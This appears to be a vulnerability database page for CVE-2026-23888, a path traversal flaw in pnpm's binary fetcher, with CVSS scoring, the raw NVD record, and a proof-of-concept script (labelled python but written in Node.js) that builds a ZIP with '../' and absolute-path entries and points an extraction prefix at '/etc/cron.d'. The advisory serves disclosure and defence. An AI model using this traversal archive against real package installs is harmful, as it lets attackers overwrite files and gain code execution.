Security Vulnerability Report
中文
CVE-2026-23888 CVSS 6.5 MEDIUM

CVE-2026-23888

Published: 2026-01-26 22:15:56
Last Modified: 2026-01-28 17:47:32

Description

pnpm is a package manager. Prior to version 10.28.1, a path traversal vulnerability in pnpm's binary fetcher allows malicious packages to write files outside the intended extraction directory. The vulnerability has two attack vectors: (1) Malicious ZIP entries containing `../` or absolute paths that escape the extraction root via AdmZip's `extractAllTo`, and (2) The `BinaryResolution.prefix` field is concatenated into the extraction path without validation, allowing a crafted prefix like `../../evil` to redirect extracted files outside `targetDir`. The issue impacts all pnpm users who install packages with binary assets, users who configure custom Node.js binary locations and CI/CD pipelines that auto-install binary dependencies. It can lead to overwriting config files, scripts, or other sensitive files leading to RCE. Version 10.28.1 contains a patch.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:pnpm:pnpm:*:*:*:*:*:node.js:*:* - VULNERABLE
pnpm < 10.28.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env node // CVE-2026-23888 PoC - Malicious package with path traversal const fs = require('fs'); const path = require('path'); const AdmZip = require('adm-zip'); // Create malicious ZIP with path traversal entries function createMaliciousZip() { const zip = new AdmZip(); // Attack vector 1: Path traversal via ZIP entries // This writes outside target directory zip.addLocalFile(__filename, '', '../../malicious_file.js'); // Attack vector 2: Absolute path injection zip.addFile('/tmp/pnpm_escape', Buffer.from('malicious content'), 'Absolute path attack'); zip.writeZip('./malicious-package.zip'); console.log('[+] Malicious ZIP created: malicious-package.zip'); } // Simulate vulnerable binary extraction function simulateVulnerableExtraction(zipPath, targetDir) { console.log(`[*] Extracting to: ${targetDir}`); const zip = new AdmZip(zipPath); // VULNERABLE: No path validation before extraction zip.extractAllTo(targetDir, true); console.log('[+] Extraction completed (vulnerable behavior)'); // Check for escaped files const escapedPath = path.join(targetDir, '..', '..', 'malicious_file.js'); if (fs.existsSync(escapedPath)) { console.log(`[!] Path traversal successful! File written to: ${escapedPath}`); } } // Simulate vulnerable BinaryResolution.prefix usage function simulateVulnerablePrefix(prefix, targetDir) { console.log(`[*] Using BinaryResolution.prefix: ${prefix}`); // VULNERABLE: Direct concatenation without validation const extractionPath = path.join(targetDir, prefix, 'bin'); console.log(`[*] Extraction path: ${extractionPath}`); // This could write files outside targetDir return extractionPath; } // Main execution if (require.main === module) { console.log('=== CVE-2026-23888 PoC Demo ===\n'); createMaliciousZip(); console.log('\n--- Testing vulnerable extraction ---'); simulateVulnerableExtraction('./malicious-package.zip', '/tmp/pnpm-test'); console.log('\n--- Testing vulnerable prefix ---'); simulateVulnerablePrefix('../../../etc/cron.d', '/tmp/pnpm-test'); } module.exports = { createMaliciousZip, simulateVulnerableExtraction, simulateVulnerablePrefix };

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-23888", "sourceIdentifier": "[email protected]", "published": "2026-01-26T22:15:56.047", "lastModified": "2026-01-28T17:47:32.307", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "pnpm is a package manager. Prior to version 10.28.1, a path traversal vulnerability in pnpm's binary fetcher allows malicious packages to write files outside the intended extraction directory. The vulnerability has two attack vectors: (1) Malicious ZIP entries containing `../` or absolute paths that escape the extraction root via AdmZip's `extractAllTo`, and (2) The `BinaryResolution.prefix` field is concatenated into the extraction path without validation, allowing a crafted prefix like `../../evil` to redirect extracted files outside `targetDir`. The issue impacts all pnpm users who install packages with binary assets, users who configure custom Node.js binary locations and CI/CD pipelines that auto-install binary dependencies. It can lead to overwriting config files, scripts, or other sensitive files leading to RCE. Version 10.28.1 contains a patch."}, {"lang": "es", "value": "pnpm es un gestor de paquetes. Antes de la versión 10.28.1, una vulnerabilidad de salto de ruta en el recuperador de binarios de pnpm permite a paquetes maliciosos escribir archivos fuera del directorio de extracción previsto. La vulnerabilidad tiene dos vectores de ataque: (1) Entradas ZIP maliciosas que contienen '../' o rutas absolutas que escapan de la raíz de extracción a través de 'extractAllTo' de AdmZip, y (2) El campo 'BinaryResolution.prefix' se concatena en la ruta de extracción sin validación, permitiendo que un prefijo manipulado como '../../evil' redirija los archivos extraídos fuera de 'targetDir'. El problema afecta a todos los usuarios de pnpm que instalan paquetes con activos binarios, a los usuarios que configuran ubicaciones de binarios de Node.js personalizadas y a las tuberías CI/CD que auto-instalan dependencias binarias. Puede llevar a la sobrescritura de archivos de configuración, scripts u otros archivos sensibles, lo que lleva a RCE. La versión 10.28.1 contiene un parche."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}, {"lang": "en", "value": "CWE-23"}, {"lang": "en", "value": "CWE-426"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:pnpm:pnpm:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "10.28.1", "matchCriteriaId": "5AFF60E6-D1CC-46A7-9122-988E9B68D1B9"}]}]}], "references": [{"url": "https://github.com/pnpm/pnpm/commit/5c382f0ca3b7cc49963b94677426e66539dcb3f5", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/pnpm/pnpm/releases/tag/v10.28.1", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/pnpm/pnpm/security/advisories/GHSA-6pfh-p556-v868", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}